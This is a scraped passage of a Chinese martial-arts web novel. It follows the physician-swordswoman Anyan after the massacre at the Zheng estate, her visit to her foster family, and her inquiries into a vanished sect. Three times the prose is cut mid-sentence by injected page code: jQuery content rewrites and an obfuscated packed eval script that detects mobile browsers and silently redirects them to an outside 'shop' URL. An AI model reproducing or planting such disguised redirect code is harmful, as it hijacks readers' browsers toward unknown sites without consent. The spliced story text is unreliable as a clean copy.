$(''.inform'').remove(); $(''#content'').append('' 。 “可是,我不需要人质啊。” 话音落下的瞬间,伏焱手掌发力,掐断了郑楚泽的脖子。 “啊,啊啊——!”安晏终于崩溃了,全身颤抖,嘶哑着嗓音,发出似吼似唳的悲鸣。 她明明是来救人,可是所有人都死了,甚至就死在她眼前。是她救活了这个恶魔,是她的错,是她害死了所有人,她必须——杀了他! 她将剑交给了左手,目光死死钉在伏焱身上,右手就要抚上那锋利的剑刃! 墨白忽然动了。 手中飞出一枚石子,击中安晏手背。她握剑的手本已不稳,一击之下,采萧剑竟脱手飞出了几丈远。 安晏脚下一个踉跄,不可置信地看向墨白。后者也正望着她,眸子沉静如深渊,那其中却又好似潜藏着明灭光影,她依然无法看懂。 却有细密绵长的痛,从心口蔓延开来。 伏焱略微一顿,似乎也有些意外,但随即又笑了:“是,你做得很对。小大夫这个样子,无法杀了我,只会害死她自己。” “你住口!”安晏断声喝道,双目染透血色,“我能够杀你,不过是一些小伤,你不要小看我,我一定会杀了你!” 说着,就要去拾起采萧剑! 墨白足下移动,身形飘纵,挡在了她面前。 “你……你让开!”安晏终于咬牙,一掌拍去——却被墨白牢牢擒住了手腕。 未及挣脱,他突然用力,将她拉进了怀里。 安晏身子一僵,熟悉却又陌生的木香笼罩着她,仿佛冲淡了满院的血腥。她竟不能再动,泪水不受控制,一瞬间流了满脸。 “不要用血祭剑法。”墨白紧紧抱着她,全不在意她的血沾染上他整洁的衣襟。他的声音轻润如浅溪,似乎他仍是那个眉眼如月,温柔体贴的墨公子,似乎不断坠落燃烧着火的树枝和房瓦都是幻影,她也只是,做了一个噩梦。 “不要杀人,你的手,是医者的手,该用来救人。也不要伤害自己,你要好好地,平安健康地活下去。”温柔的声线缠绕着她的耳廓,那些仿佛诀别的话音,却令她不由自主地颤抖,“对不起,我瞒了你很多事,但是我说过的一切,也都是真的。” “墨……”安晏颤抖着启口,墨白却突然扬手,击中了她的后颈。 话音断成两截,墨白停了一停,而后将她轻轻放在不远处的地上。 伏焱始终安静地看着,噙着笑,似乎很乐意见到这一幕。待墨白放下安晏,终于转身面对着伏焱,他却从袖中抽出一柄墨色的短刀。 伏焱笑了,从容不迫,胜券在握:“我知道,你不是来杀我的。” 墨白目色沉凝,不发一言。 “我知道你们想做什么。”伏焱斜斜勾着嘴角,“不过,我依然劝你,先弄清楚自己究竟是谁吧。” 墨白不言,将墨刀抬高了几寸。 “你一个人,赢不了我。”伏焱道,眼底浮起幽幽火光,“而且,就算你能与我打个两败俱伤,拖延我一个时辰,我不觉得小大夫的身体,还能受得住。” 他终于看见墨白的神色微微松动了一痕。 他笑着,似乎很满意:“这一次,我就先走了。”瞥了徐戾一眼,后者用刀撑着,勉强站起,“走吧。” 说完,他一拂衣袖,沿着回廊,悠然自得散步一般向院后走去。徐戾一脚深一脚浅地跟着伏焱,也消失在了大火中。 36. 为我的朋友报仇 火势越烧越猛,烟尘滚滚,已几乎不可辨物。墨白终究没有去追,收起墨刀,俯身将安晏抱了起来。 脑中倏忽一阵刺痛。 他下意识地闭了眼,疼痛瞬间在颅腔里四散开来。他不由得跪倒在地上,直将嘴唇咬出了血,双手却仍未放开安晏。 同一时间,身侧那棵高大的树,终于承受不住熊熊烈火,响起一连串的爆裂声,随即向墨白与安晏砸将下来! 墨白挣扎着去拿墨刀,头脑却疼痛愈甚,视野朦胧,几近昏暝! ——院外,忽然响起了脚步声。 他勉强瞥见剑光闪过,截断了那棵树,耳侧传来袁清明焦急的声音:“安姑娘怎么了?墨公子,你没事吧?” 不知怎的,他忽觉有些亲切,便不想其他,放心地晕了过去。 “墨公子?”袁清明骇了一跳,墨白怎么一句话不说就倒在了地上?那边顾鸿云已收了剑,四顾一番,折身走回,看向地上的墨白与安晏。 “先带他们出去。” “我知道,这火势太大了,再耽误一会儿,我也要喘不过气了。”袁清明背上安晏,拿起她的采萧剑,顾鸿云则背着墨白,二人躲避着不断坠落的树枝,离开了这座院子。 ———————————— 火。 大火。 四海八荒皆是火,天地乾坤皆是火,大火成为了世间唯一的景,她不知道该往何方,重重火墙之外,却突然传出了孩童的啼哭声。 她突然听见一个乖邪的,如恶魔的声音。 “小大夫,我不需要人质啊。” 哭声戛然而止。 她猛地惊醒,竟出了一身冷汗。 天光大亮,耳边是人来人往的嘈杂声响。她为何,会在一家客栈当中? 伏焱……伏焱和墨白呢? 她连忙起身,这才发觉身上的伤口已被包扎妥当,本就是些皮肉伤,倒不至影响走动。她抓起床边的剑,刚走出两步,就看见了袁清明一袭火一样明艳的红裙。 “安姑娘,你怎么起床了?快快,快回去躺下。”袁清明不由分说地将她拽回里屋,又将她按回了床上。 “我睡了几日?”见是袁清明,她倒也放下了心,便任由袁清明摆弄。 “只一个晚上,现在刚过辰时。”袁清明给她倒了一碗热水,然后转头对着外间喊道,“喂!安姑娘醒了!你去让店小二送一碗清粥上来!” 安晏捧着水碗,疑惑道:“外间的是……” “那个顾将军,他和我一起救了你们。”袁清明道,安晏不由得一怔,抬起头,正看见顾鸿云经过,走出房门。 顾鸿云找到了这里?自云励县一别,她已经许久不知道顾鸿云的消息,他是如何找来的? “你放心,我已经和顾将军说好了,他暂时不会将你送去见官。”袁清明见安晏蹙起了眉,连忙拍着胸口保证道,“他这个人虽然古板,但不像会说谎的样子。当然,如果他反悔,我一定帮你拦住他!成州那个案子,我站在你们这边,你们肯定不是凶手!” “那,先多谢你了。”安晏转回视线,笑了笑。看来成州的事,袁清明已经都知道了,是墨白告诉她的吗?墨白…… 脑海中浮现出火光下他清淡冷漠的神色,耳边似还萦绕着他喟叹般温柔的呼吸。她不由得垂下眼睫:“墨公子……他在吗?” “这个,我刚才就想和你说来着。”袁清明抓了抓头发,“墨公子他,走了……” “走了?”安晏一怔。 “那个,是这样,”袁清明连忙解释,“昨天呢,我和顾将军闯进郑府,带着昏迷不醒的你和墨公子离开。顾将军说,你受了伤,需要找一个地方好好休养,我也觉得山脚那个木屋太冷了,不适合养伤,就同意顾将军的提议,住进了城内客栈。你的伤口,是请大夫包扎的,墨公子倒没有受伤,只是一直昏睡不醒,大夫说没事,我也没有多管……呃,今天早上我醒来一看,他就已经走了。” 安晏越听,眉头皱得越紧,顾鸿云此时推门走入,听见了袁清明的话,面无表情地补充道:“墨公子不辞而别,我二人亦不知其去向。” 安晏凝眸望向顾鸿云:“伏焱呢?” “伏焱?是谁?”袁清明问。 “就是谢檐长。”安晏道,“我昏过去之前,他就在郑家。” 袁清明一愕:“他也在?我到郑府的时候,没有看见其他人。他和郑家大火有关?” 安晏微微颔首:“郑府大火,和郑家被杀的所有人,都是伏焱所为。” 顾鸿云神情一动。 安晏余光瞥见,不由得轻笑一声:“顾将军是否仍然认为,这郑府大火,也是我放的?然后仍要栽赃给伏焱——或者,现在他被人称作谢檐长?” “不可能!”未及顾鸿云回答,袁清明当先否定道,又向安晏床边迈了一步,竟是将她护在了身后,“谢檐长我亲眼见过,不管他叫什么,他的身份绝对不简单!就算你是个好人,也不能胡乱冤枉别人!” “安姑娘。”顾鸿云看了袁清明一眼,而后对安晏拱了拱手,“昨日我进入郑府,确实,似乎远远看到了一个人影,但当时距离太远,火势又猛,我并未看清。我已答应袁姑娘,暂时不将你缉拿归案,但事情查明之前,你仍有嫌疑。” “她有什么嫌疑?你这人简直莫名其妙,你怎么不说那火是我放的?”袁清明不满地嚷嚷起来,“正好,我也恨不得杀了谢檐长,为我的朋友报仇!你干脆也把我一起抓起来算了!” 顾鸿云目色微沉,却不再言。 安晏忽然笑了,喝下半温的水,将水碗放在床边小几上,然后她伸出手,拦腰抱住了袁清明。 “袁姐姐,”袁清明比她年长几岁,“谢谢你愿意相信我,不过,我还有些头晕,我想再睡一会儿。” 袁清明被安晏突如其来的亲昵称呼惊得一阵手足无措:“啊,呃,那个,当然,你好好休息,我帮你盯着顾将军,决不让他打扰你!” 她扶着安晏躺好,安晏又笑着道了声谢,请她让店小二晚一点再送粥上来,便闭上了眼睛。 她听见袁清明赶着顾鸿云离开了屋子。 她慢慢地睁开了眼。 日光幽凉,映照着窗上微微脱落的木漆,冬风萧萧飒飒地拂过,有如长夜未尽的梦,漂浮在她眼底。 她半分睡意也无。 乐平县,苗竹村,这是伏焱的家乡吗? ———————————— “安姑娘?”袁清明小心翼翼地敲门,身后顾鸿云端着一碗粥,“已经过了午时,我想着,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103784|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经一天没吃饭了,要不要吃些东西再睡?” 门内却没有回应。 “安姑娘?你还在睡吗?我能进去吗?”袁清明等了片刻,仍不见回应,忍不住将耳朵贴上门缝。 ——眉心却突然一紧。 屋内,根本没有任何人的呼吸声! 她心下大惊,顾不得许多,猛地推开门,跑进屋子里。 屋内确实已经无人,床褥叠放整齐,采萧剑也不在了,只有桌上放着一张纸,压在了水碗下。 她拿起来,仍看不懂,只好递给顾鸿云:“你看看,写的什么?” 顾鸿云将粥放在桌上,接过信纸,半晌方道:“安姑娘离开了。” “她去了哪?”袁清明忙问。 “她并未写明。”顾鸿云平声道。 “这,这,”袁清明凑上前,拿手指指点点,“我不识字,但不是不识数,这么多字,都写了什么?” “她在信中,谢过你相救之恩,说如今郑家灭门,谢檐长不会继续留在沐山郡了,但郑老爷大约未死,还请帮忙报官,请大夫前去救治。她说,谢檐长武功极高,让你不要独自去杀他,由她来想办法。还让你……”顾鸿云停了一停,“盯紧我,不要让我破坏她的计划。” “哦……”袁清明深以为然地点了点头,“她说得很有道理——她是不是去找墨公子了?” “她并未写明。”顾鸿云仍道。 “算了,那我……”她一顿,转目望向顾鸿云,“你打算去什么地方?” 顾鸿云沉肃地道:“先去见过郡丞,问一问郑家和郑老爷的事。” ———————————— 郑俞明确实还活着,被人接进了郡府休养。伏焱手段残忍,郑俞明手筋脚筋俱断,下半生只能卧于床榻,由人伺候着勉强生活。不止如此,伏焱灌哑了他的喉咙,打聋了他的耳朵,却偏偏留下了他的双眼。 让他亲眼看着,郑府和郑家老小俱在大火中,一点点被烧成灰烬。 离开郡府,顾鸿云和袁清明二人都沉默了很久。顾鸿云向城门走去,袁清明跟在他身后,走出半条街,她终于忍不住道:“你要去哪?” 顾鸿云话音淡淡:“我不会不告而别。” 袁清明在他身后瞪了他一眼,紧紧跟着他,心里想着,她倒要看看他能搞出什么名堂。 走出城门,顾鸿云在城墙角落不起眼的地方翻找了一阵。 未几,他直起腰,向远山望去,眉心紧蹙成一个川字。 “这里有什么?”袁清明满腹疑惑地上前,扒开墙根下的草丛,看到了两个不同的标记,“这是……” “墨公子和安姑娘,去了不同的方向。”顾鸿云道。 袁清明皱眉:“那,我们追谁?” “追墨公子。”顾鸿云却没有多少犹豫,抬步向北走去。 袁清明向西边望了一眼,终还是咬了咬牙,跟上了顾鸿云。 谢檐长已经不在沐山郡,她一时也没有要去的地方。既然安晏请她帮忙盯着顾鸿云,那她一定不能辜负了安晏。 而顾鸿云选择墨白,一是因为谢新柳追着墨白走了,二是,他仍旧怀疑墨白。 比安晏更多怀疑。 那日从郑府救出墨白,他分明摸到了墨白袖底的刀。 37. 武功天下无敌 南疆气候潮湿,经冬不雪,是以林野蓊郁,树木常青。建水县郊,一片竹林郁郁葱葱,深处一方竹院,几间竹屋,阳光自竹叶间洒落,温暖又安宁。 安晏已经四年多,没有回家了。 穿过竹林,竹屋小院遥遥在望,她看见院子里的三个人,一人正将晾晒干净的衣服取下,一人正气急败坏地做纸灯笼,另一人坐在前者旁边,正耐心地指导他。 心中似有温柔的溪流涓涓淌过,又像是蝴蝶扑闪着翅膀,从春草间翩翩飞出。安晏不由得加快脚步,远远地喊道:“师父——!许姨姨!唐姨姨!我回来了!” ———————————— 宗暮非的手一抖。 ——竹签子便又将纸灯笼戳破了。 他重重叹息一声,干脆将纸灯笼扔在一旁,站起身来。唐璃也已起身,迎着安晏走去。 唯有许翎竹动作不停,目不斜视,将衣服收进竹筐,转身回屋了。 “怎么四年都不见人影,今日突然回来了?”宗暮非险些没接稳安晏迎面一个巨大的拥抱,“难道是在江湖上闯了祸,被人追杀又打不过,干脆回来避难?——诶等等,你身上是不是带着伤?” “一点小伤,没事。”安晏笑容舒朗,宗暮非神医无双,她倒没觉得自己能瞒过他。然而松开手,却见一旁唐璃目色担忧,她连忙又给了唐璃一个拥抱,“行走江湖,受一点伤也不算什么大事,都是些皮肉伤,而且已经几乎痊愈了,即使再打十个八个师父这样的敌人,也不在话下。” “你这话,我可不能假装没听见。”宗暮非哼声拉过安晏,三人向竹院走去,“我重新给你诊过脉,才能放心。” “师父啊,我的医术得您真传,就这么点小伤,我自己还能不会治?”安晏愁眉苦脸地跟在宗暮非身侧,眼角却染着阳光,眸子里笑意难藏,“倒是师父,您不如抓紧时间,重新做一个纸灯笼。” “好啊,你个小丫头,几年不见,翅膀硬了?” 宗暮非一横眼,作势要打,安晏连忙向一旁跳开,嘴里却又添了一把火:“师父切莫动气,对身体不好,再者……您也追不上我。” “你你你——!你就不怕我在晚饭里下毒?” “我解毒的本事,可也是得您真传。” 两人吵吵闹闹地走进竹院,就连一向清淡的唐璃,面上也染了笑意。然而走进屋子,见到正将衣物收拾整齐放进衣柜里的许翎竹,几人都一瞬间安静了下来。 “许,许姨姨,我回来啦。”安晏站在门边,话音一下子轻了,右脚轻轻踢着地板,却不敢上前。 “嗯。”许翎竹淡淡应了一声,头也不回。 安晏不知道该说什么了。 许翎竹肯定早已听见了她的脚步声,甚至,可能在她还没看见竹屋的时候,许翎竹就知道她回来了。但是四年过去,她依然清冷少言,她依然……似乎,根本不欢迎她。 “四年没见了,你就这个反应,我看着都生气。”这回,仍是宗暮非打圆场,“走,不用理你许姨姨,她是这个世界上最没良心的人,咱们不和她一般计较。我先帮你诊脉,然后你帮我做纸灯笼。”说着,拉起她的手就往外走。 “您就是想让我做纸灯笼……”安晏嘀咕了一句,临出门前,却又望了许翎竹一眼,“那,许姨姨,我先帮师父去了……” “哎呀,你跟她说什么。”宗暮非不由分说地将安晏拽出门外,“后天就是除夕了,我这一个灯笼都没做完,你许姨姨死没良心不管不问,唐姨姨手又不方便,可愁死我了——幸亏你回来了。” 安晏不由得失笑:“去年我不在,这灯笼是如何做的?” “最后歪歪扭扭做了一个。”宗暮非小声地道,脸颊似攀上几许绯色。 “我倒觉得,许姨姨说得有道理。”安晏却笑着道,“这竹屋前后左右方圆十里不见人烟,何必非要做这纸灯笼呢?” “你懂什么,我每年都做,做给自己看不行?”宗暮非不服气地哼了一声,拉着安晏坐下,“你看看,都怪你,刚才突然一喊,吓了我一跳,这只灯笼又破了。” “是是是,都怪我。”安晏弯腰拾起那只被戳了一个洞的纸灯笼,端详了一阵,“还有救,我来补一下。” 宗暮非眨着眼:“还是年轻人心灵手巧。” 安晏毫不客气地瞪他一眼:“您不要找借口。” ———————————— 唐璃也来帮忙,很快第一个纸灯笼修补好了,第二个纸灯笼也初见雏形。许翎竹收好衣物,径自去了厨房,路过三人身边,脚下一瞬也未停。 安晏忍不住停了手,话音有些失落:“许姨姨是不是……不想我回来啊。” “不会的,她就是那张臭脸,你看了十几年,难道还没看习惯?”宗暮非连忙道,又顿了顿,“你这次,为什么突然回来?” “我就是突然想你们了,正巧快到年节,正巧离得不远,就回来看看你们。”安晏道,目光却仍落在做了一半的灯笼上。 宗暮非狐疑地打量着她:“确定没有麻烦,不需要我们帮忙?” 安晏静了一静,这才展颜笑开:“师父放心,如果有麻烦,我一定第一个来找师父帮忙。” “不行,我武功不行,你还是找你唐姨姨帮忙。”宗暮非立即推卸责任。 唐璃却认真地点点头:“好。” 安晏瞥了宗暮非一眼,笑得愈发灿烂:“还是唐姨姨待我最好,最可靠了。” 她没有说出墨白和伏焱的事,这间小院如此温暖美好,江湖上的血腥,她忽然不知该如何开口。 ———————————— “吃饭了。” 宗暮非和安晏正叽叽喳喳热火朝天地讨论着要在纸灯笼上画什么花样,许翎竹冷淡的声音截了进来,二人都立即噤了声。 唐璃已起身,他们二人也随后站起,向屋内走去。 “师父,有个问题啊,我一直想问。”安晏压低声音,扯了扯宗暮非的衣角。 “什么?” “您到底……是不是害怕许姨姨啊?” “我怎么可能怕……”宗暮非一昂头,便看见许翎竹目光向他掠来,半句话险些呛在了喉咙里,“咳,那个,你也知道,你许姨姨武功天下无敌,我这也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112067|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,也是顺势而为。” 安晏直憋着笑,和宗暮非在桌旁坐下了。 “家里菜不多了。”许翎竹并未理会他们二人的小动作,声线清冷,一如冬日的风,“午后,该去一趟镇上。” “好。”唐璃点头道。 “我去。”许翎竹却道。 唐璃不禁一怔,以往采买,大都由她来做,许翎竹不喜镇上人多,宗暮非又定要陪着许翎竹—— 果然,便听宗暮非叫嚷起来:“你要去镇上?那我也去。” “那,要不我也……”安晏小心翼翼地试探道。 许翎竹轻轻叹了口气,终于将视线转向安晏:“你有什么想问的,就问吧。” “呃?”安晏愣住,下意识地向宗暮非瞟去。 谁知宗暮非也连连点头,语重心长循循善诱:“我知道,你这次回来,肯定不只是为了陪我们过节。你自小被我们收养,我们是你的亲人,更是你的依靠,你若有难办的事,千万不要独自硬扛着。” 安晏又看向唐璃,后者也同样点了点头,神色关切,透着些许担忧。 她只得认输了。 “许姨姨,师父,唐姨姨。”她微垂下眼睫,“大约,在六年前,有一个人,以一己之力,血洗了建德县郊外的一处宅院,数十江湖人一夜毙命,这人也不知所踪。这件事,你们是否听说过?” “没有。”许翎竹冷淡地道。 “六年前,我们早已不在江湖走动,门派纷争,我们一概不知。”宗暮非蹙起眉,显得有些紧张,“你在调查这件事?那个杀人者在追杀你吗?你身上的伤,难道是他所为?” “不是,这倒没有。”安晏忙道,事实正相反,是她在追杀伏焱。她顿了顿,终究没有说出她与伏焱之间的事,“我只是道听途说,那座宅院,也并非一个门派,而像是某种秘密训练江湖弟子的场所。可这么大的事,江湖上了解的人却不多,当年的知情者也几乎都死了,我总感觉背后有很大隐情,就想着……或许老人家知道的多些,就回来问一问你们。” 这两年,她和墨白行遍江湖,除却寻找伏焱的下落,也在一路打听六年前明思院的事。 可是,竟无一人知晓。 数十人性命,竟好似气泡消散在空中,连一星痕迹也未留下。 然而听了安晏的话,宗暮非却立即一撂筷子,不满地嚷嚷起来:“你说谁老人家?我才四十几岁,我可不是老人家!” “好好,我就想着,你们都算是江湖前辈,或许知道的多些——这样可以吧?” “这还差不多。”宗暮非嘟囔着又拿起了筷子。 许翎竹却仍神色凝重,双眸如染着霜:“除了这件事,还有什么?” 安晏微微一顿,再次认输般叹了口气——她果然瞒不过许翎竹。“还有,据说,二十五年之前,有一个门派血洗了整个江湖,而后却突然遣散门中所有弟子,从此销声匿迹。这件事,你们知道吗?方才我说的宅院,正是十九年前建造的,时间相隔不久,我便想着,这两件事,是否会有所关联。” 她说完,却看见在座三人,齐齐停住了筷子。 38. 一个圆满的结局 “你们知道?” 他们的神色,已经给了安晏答案。 宗暮非和唐璃都将目光转向了许翎竹。 许翎竹却仍神情冷淡,手中的筷子也只停了一瞬:“我们的确知道,关于那个门派,你有什么想问的?” 安晏想了想道:“那个门派,为何突然遣散了所有弟子?” 许翎竹淡淡道:“其楼主意图通敌卖国,为祸江湖社稷,惊动了朝廷。皇上派兵插手,那位楼主被杀,门派也就此解散了。” 安晏不免震惊:“这么大的事,江湖上怎没有多少传闻?” 许翎竹不以为意道:“或许是朝廷为保人心安稳,将此事压了下来,或许是当年情状惨烈,江湖人心有戚戚,不愿再提。” 安晏目不转睛,已全然顾不上吃饭了:“那个门派这么厉害?血洗江湖……是怎么个血洗法?” “三十年前,江湖三大门派,南青剑派、飞春阁、织凤楼,三者灭其二;唐门一夜灭门,无一者生还;此外,麒麟阁、玄刀门、觉明寺等门派,所有掌门均一夜被杀;其楼主与祈国国君结盟,率军攻破徐明关,长驱直入,郿襄郡已然失守。”许翎竹眼也不抬,神色无波,仿佛只是在叙述一个平淡无奇的故事,“种种事端,皆由那个门派所为。那些年,江湖人人自危,生怕行差踏错,便会惹来灭门之祸。” 安晏听得目瞪口呆:“这么厉害的门派,比飞春阁还要厉害?它……叫什么?” “栖归楼。”许翎竹淡声道,“飞春阁百年不衰,非寻常门派可比。” “栖归楼……”安晏喃喃念着,若有所思,“听起来,倒像是风雨飘摇,乱世归处,一个……温柔的名字。” 许翎竹没有回应。 安晏又问:“那些被遣散的弟子,还有另一位楼主,后来去了何处,您知道吗?” 许翎竹淡淡:“许是另投他处,许是归隐山水,我如何得知。” “也对,毕竟您也不是那栖归楼的楼主。”安晏叹了口气,颇为感慨,“楼主身死,门派消失,江湖重归安宁,倒也算……一个圆满的结局。” 许翎竹未言,然而眸子终于微微颤了一颤。 “可这,”安晏没有察觉,沉思片刻,却又蹙起了眉,“与那个宅子,又有什么关系呢?” 许翎竹平静地道:“那宅院之事,我未曾听闻。你如果实在想知道,可去飞春阁一问。” “飞春阁太贵了,我再想想。”安晏嘿然笑了两声,“我还有一件事……您教我的血祭剑法,这江湖上,还有其他人会吗?” 许翎竹摇了摇头,目光渐渐深了:“我的师父,只有我一个弟子。” “那,”安晏又问,“江湖上知道血祭剑法的人,多吗?” 许翎竹道:“这剑法传了百年,有人知晓,也不足为奇。” “我这次出门,见到了一个人。”安晏道,却没有说出墨白的名字,“他不仅知道血祭剑法,而且似乎十分了解血祭剑法的凶险之处。但,当时情况紧急,他也很快就走了,我没来得及细问。” 许翎竹静了半晌,方清平道:“如非性命攸关,不要轻易使用。” “我知道的,还是提升剑术,方为正途。”安晏笑了笑,“我还要在这里住上几日,再向您讨教剑法。” 血祭剑法,以血祭剑,虽然威力强大,其代价,却是执剑者的鲜血、内力,乃至性命。 她在郑府本想使出的第一式,是以执剑者的鲜血为代价,短暂换取成倍的力量。 可这一式,却还有另一个代价,那便是斩杀之人的鲜血。 剑气饮不到鲜血,就会反噬执剑者自身,夺去执剑者的性命。 她其实明白,墨白是救了她。 “你要住几日?你就没有需要向我讨教的?”宗暮非突然插话道。 “有,真的有。”安晏见宗暮非一脸不信,连忙诚恳地道,“千真万确童叟无欺,我这次可是遇上了一个大难题。” 这倒是实话,墨白的记忆封住了两层,第一层时间不久,她好歹是解开了,第二层却复杂许多,她不敢轻易用药。而且墨白时常头痛,或许也与记忆被封有关,她也希望能找到法子,减轻墨白的痛苦。 虽然……不知道他去了哪里。 但她总觉得他们还会再见,她也总觉得,他不会真的伤害她。 “还算你有良心。”宗暮非似乎这才满意了,又转头问许翎竹,“难得大家都在,下午就一起去镇上吧?这竹屋隐蔽,也没什么值钱物事,咱们离开半日,不要紧的。” “嗯。”许翎竹淡淡道,看着一桌已半凉的饭菜,“先吃饭吧。” ———————————— 安晏在竹屋住到了上元。 足足半月,安晏一日也没闲着,唐璃教她暗器,许翎竹教她剑法,最重要的是她从宗暮非那儿,学来了解封记忆的方法。上元节当晚,安晏本想陪三人去街上看花灯,许翎竹却仍像几年前那样,平淡却毫不迟疑地拒绝了。许翎竹不去,宗暮非自然也不会去,安晏便只好留在竹院,帮他们包了一锅元宵。 吃完元宵,四人坐在院中赏月。城镇遥远,幽深的竹林中,只能听见清渺的风声。建水县在南方,本就不算寒冷,加之许翎竹三人都有极深的内力,只宗暮非一人裹着一件薄毯子,又在脚边架起了一只小炉。 “师父,许姨姨,唐姨姨,明日我就要走了。”安晏说这话的时候,完全不敢看他们。 不出所料,宗暮非立时竖直了身子:“这么快?你,你不能出了正月再走?” “我……还有必须去做的事。”安晏垂着目光。 她必须要去找伏焱了。 她已经因为迟疑和软弱,害死了太多人。 宗暮非静了静,倒不再劝她,只唉声叹气地嘀咕着:“也不早说,我看看有什么东西能让你带上,奔波江湖总是辛苦,你银两还够吗?”说着,就要起身。 “不用,师父,真的不用。”安晏连忙将他按坐回竹椅上,“我这四年不是好好的?您不用担心,我也不带什么东西,太沉了反而不便。” 唐璃温声道:“暗器毒药都易损耗,你带上一些,我们这里,也用不到。” 安晏想了想道:“这倒可以,多谢唐姨姨了。” 许翎竹却仍望着明润的月和疏淡的星,一句话也没有说。 次日,她也没有来为安晏送行。 宗暮非和唐璃立在院外,遥遥望着安晏,直到她的身影在竹林深处消失不见,转过身,却见许翎竹走出屋子,从院角抱了一捧薪柴。 “许姑娘。”唐璃不由得唤她。 “怎么?”许翎竹停住脚,侧头。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121959|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安晏……虽然不说,但她似乎,遇到了什么麻烦。” “嗯,我知道。”许翎竹淡声启口,走进厨房。 待她放下薪柴,走回院中,唐璃和宗暮非仍然在原处立着。 “你们若担心,跟去就是了。”她淡淡道,这次脚下未停,又回了屋子。 “你不去吗?”宗暮非跟着进了屋,“安晏肯定有麻烦,她这孩子是能忍的性格,又怕打扰咱们的清净,定然不会向咱们求助。” “我没必要去。”许翎竹平淡地道,“你们二人去吧,我这里无事。” 宗暮非转头看了看唐璃,又转回头看着许翎竹,目光凝定:“你不去,我也不可能离开。” 许翎竹仍旧平静:“那么,就唐璃去吧。” 唐璃站在门边,静静望着许翎竹,却没有回答。 “你去吧,也省得心里不踏实,顺便打听一下,十九年前和六年前——甚或,从我们遣散栖归楼之后,江湖上究竟出了什么事。”许翎竹平淡地吩咐道,“路上小心一些,尽量不要出面,也可以去飞春阁找薇娘,请她借你两个人手,或者给你必要的信息。我和宗神医在这里,不会有危险。” 唐璃这才向许翎竹一拱手:“是。” 唐璃带着执雁刀离开了竹林,宗暮非送她离开,回到屋里,又对着许翎竹长吁短叹:“原先只担心安晏一人,现在倒好,还要多担心一个唐璃。” 许翎竹没有理他。 顿了顿,宗暮非又嬉皮笑脸地凑到许翎竹面前:“不过,也有一样好处,这下能有好一阵子,没有旁人打扰我们了。” 许翎竹终于抬眼看向他,一贯清淡的神色终于有了变化——她皱起了眉头:“宗神医,不要再等我了。” 宗暮非静了静,一撇嘴,无赖似的说:“是不是安晏方才的话,让你想起曾经那些事了?她不知道过去的事,你也不用多想。至于我,我都已经等二十五年了,还会在乎再多等几年吗?” “这二十五年,我都知道。”许翎竹语音清渺,如千林万叶之中穿梭的风,“你和唐璃,是我在这世上最后的亲人。可是——” 她却顿住了,似乎不知究竟该如何措辞,才能够不伤害眼前的人。 又或许,无论如何,她都是要让他伤心的。 宗暮非望着她,半晌,终于轻轻叹息:“没关系,你不需要说什么,我不会要求你任何事,更不会强迫你任何事。但我不强迫你,你也不许强迫我,我……我一日是你的大夫,就一辈子都是你的大夫,你也不许欺负我武功不如你,自己偷偷地溜走。” 她沉默良久,终于轻轻颔首:“好。” 宗暮非便笑了,阳光在他的长睫间飞舞,依稀还是那个神采飞扬翩翩公子的模样:“中午想吃什么?她们都走了,咱们把那鸽子炖着吃了如何?” 许翎竹又皱起了眉:“不行,你若想吃肉,午后,我们再去镇上。” “不吃就不吃,那咱俩中午吃素吧。叫你昨日不去镇上,今日再去,哪还有花灯可看?”宗暮非撸起袖子,嘟嘟囔囔地走了,跨出门槛时,他微微停了一瞬,“对了,还有,我说过的,不管发生什么,我都一定不会离开,一定不会再让你失去归处。” 许翎竹没有回应,又立了半晌,最后,她转过视线,落在窗边那一盏黯淡的、陈旧的、了无花饰的圆形花灯上。 39. 理应都死了 清临县外。 春风料峭,云野濛濛,稀疏的雨丝丝拂落,沾湿了行人的衣襟。安晏跟在那个褐袍布衫的男子身后,从城门一直走到了渔安村。 离村口还有半里,那个男子停住了脚步。 他回过身,背脊微微佝偻:“姑娘已经跟了我一路,可是有什么话,想问我吗?” 安晏倒也无意隐瞒,上前几步,拱手道:“前辈可是姓汪?” 那男子的双眼一下子深了,再开口时,话音已如春雨冰凉:“我不姓汪,姑娘认错了。” 他虽然否认,安晏却已了然,又躬身微微一揖:“想来前辈,就是汪照和汪前辈了。” 汪照和目色如冰,拂袖便走。 安晏当然不会离开,她继续跟在他身后:“建德县郊外的明思院,您一定仍记得吧?” 汪照和沉默不言,只顾向前走。 “那个宅子,究竟是谁建的?” 他仍旧不答。 “那个宅子,究竟是为了什么而建的?” 